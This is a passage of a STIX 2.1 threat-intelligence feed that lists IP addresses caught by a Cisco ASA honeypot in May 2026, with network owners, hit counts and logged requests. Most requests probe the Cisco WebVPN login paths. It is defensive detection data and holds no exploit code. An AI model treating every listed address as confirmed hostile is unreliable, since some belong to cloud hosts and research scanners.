      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T01:20:10.000Z",
      "valid_until": "2026-06-17T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-16T01:00:08.565Z",
          "last_seen": "2026-05-28T01:01:59.620Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-16T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--9014253a-3cee-4c83-bb2a-e4bc6ffeee6c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '34.228.9.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T01:20:10.000Z",
      "valid_until": "2026-06-17T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-16T00:56:53.108Z",
          "last_seen": "2026-05-16T00:56:53.108Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-16T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--03bf1d2f-7917-4ae3-a428-98122f5c1353",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T02:20:10.000Z",
      "valid_until": "2026-06-17T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T06:38:28.717Z",
          "last_seen": "2026-05-30T13:38:21.537Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-16T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: JP; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--96c32f79-ce0d-4e6c-8de7-00198d3cdb07",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.211.173.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T02:20:10.000Z",
      "valid_until": "2026-06-17T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-16T01:22:16.608Z",
          "last_seen": "2026-05-16T01:22:21.115Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-16T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--3ec9b941-d43a-4c61-a224-a99c78460f72",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:20:10.000Z",
      "valid_until": "2026-06-17T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-16T02:24:51.104Z",
          "last_seen": "2026-05-29T14:40:54.835Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-16T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 25737 (Jone Broadband LLC)",
      "id": "indicator--638d3612-befb-4ef7-a461-41e83b9c4533",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.162.8.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:20:10.000Z",
      "valid_until": "2026-06-17T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-16T02:28:30.921Z",
          "last_seen": "2026-05-20T19:43:43.798Z",
          "country": "United States",
          "country_code": "US",
          "asn": 25737,
          "as_org": "Jone Broadband LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-16T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e6fd57e9-8a33-4cc7-be14-86bf9e45c3ba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.70.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:20:10.000Z",
      "valid_until": "2026-06-17T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-16T03:15:52.446Z",
          "last_seen": "2026-05-16T03:16:00.838Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-16T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6d69984d-abaf-4fa5-8a27-7f9ab4adda45",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.70.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T04:20:10.000Z",
      "valid_until": "2026-06-17T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-16T04:07:34.253Z",
          "last_seen": "2026-05-16T04:07:42.421Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-16T05:20:27.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--a76b474a-76ba-474b-b835-f9fd9325b545",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T05:20:27.000Z",
      "valid_until": "2026-06-17T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-16T05:05:14.358Z",
          "last_seen": "2026-05-16T05:05:17.361Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-16T05:20:27.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 9465 (AGOTOZ PTE. LTD.)",
      "id": "indicator--abe1ffd4-c1f5-4954-9333-0f0a725d98ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T05:20:27.000Z",
      "valid_until": "2026-06-17T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 8,
          "first_seen": "2026-05-16T05:00:29.182Z",
          "last_seen": "2026-05-16T05:00:37.892Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 9465,
          "as_org": "AGOTOZ PTE. LTD.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-16T05:20:27.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--6cd6082d-5fbf-4d26-ac19-74ac8808d08f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T05:20:27.000Z",
      "valid_until": "2026-06-17T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-16T04:47:15.630Z",
          "last_seen": "2026-05-16T04:48:20.756Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-16T06:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--7b2eb13a-0030-4c2b-bde1-7fc31f809b08",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T06:20:05.000Z",
      "valid_until": "2026-06-17T06:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-16T05:32:55.577Z",
          "last_seen": "2026-05-20T11:23:48.292Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-17T01:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--dc0e801e-b90f-45fb-bbac-e48251f06673",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '13.220.49.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T01:20:24.000Z",
      "valid_until": "2026-06-18T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-17T00:58:21.963Z",
          "last_seen": "2026-05-17T00:58:24.966Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-17T01:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SC; ASN 49870 (Alsycon B.V.)",
      "id": "indicator--8713c501-d10d-4a72-9a79-47e204cd4989",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T01:20:24.000Z",
      "valid_until": "2026-06-18T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-17T00:46:01.678Z",
          "last_seen": "2026-05-20T14:50:42.699Z",
          "country": "Seychelles",
          "country_code": "SC",
          "asn": 49870,
          "as_org": "Alsycon B.V.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET //admin/config.php HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-17T01:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fc86bcf1-b105-45a2-899e-0af80ba56fde",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T01:20:24.000Z",
      "valid_until": "2026-06-18T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 20,
          "first_seen": "2026-05-03T15:37:40.226Z",
          "last_seen": "2026-05-27T13:01:37.994Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-17T01:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--b742822d-1ff1-4966-992f-f18fcd51938d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.87.26.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T01:20:24.000Z",
      "valid_until": "2026-06-18T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-17T00:59:23.058Z",
          "last_seen": "2026-05-17T00:59:23.058Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-17T01:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--6d1c4333-98b3-4fdf-a18c-713629f795b3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.242.125.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T01:20:24.000Z",
      "valid_until": "2026-06-18T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-17T00:58:27.924Z",
          "last_seen": "2026-05-17T00:58:27.924Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-17T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b89f22d7-b9f1-44ee-a75d-91a206f0e277",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T02:20:10.000Z",
      "valid_until": "2026-06-18T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-17T01:46:25.064Z",
          "last_seen": "2026-05-27T16:11:35.922Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-17T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--15d3724f-ce69-46ac-8f18-01f9bc983f36",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T02:20:10.000Z",
      "valid_until": "2026-06-18T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-17T01:29:38.288Z",
          "last_seen": "2026-05-26T05:51:58.149Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-17T03:20:54.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--229653ac-d313-4929-a8a4-47a2884f5fcd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.171.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T03:20:54.000Z",
      "valid_until": "2026-06-18T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-17T02:57:09.339Z",
          "last_seen": "2026-05-28T00:24:23.705Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-17T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--da632f94-87a4-4e43-a357-ad0bb32a3a4d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:20:11.000Z",
      "valid_until": "2026-06-18T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-17T03:53:21.599Z",
          "last_seen": "2026-05-28T00:22:58.997Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
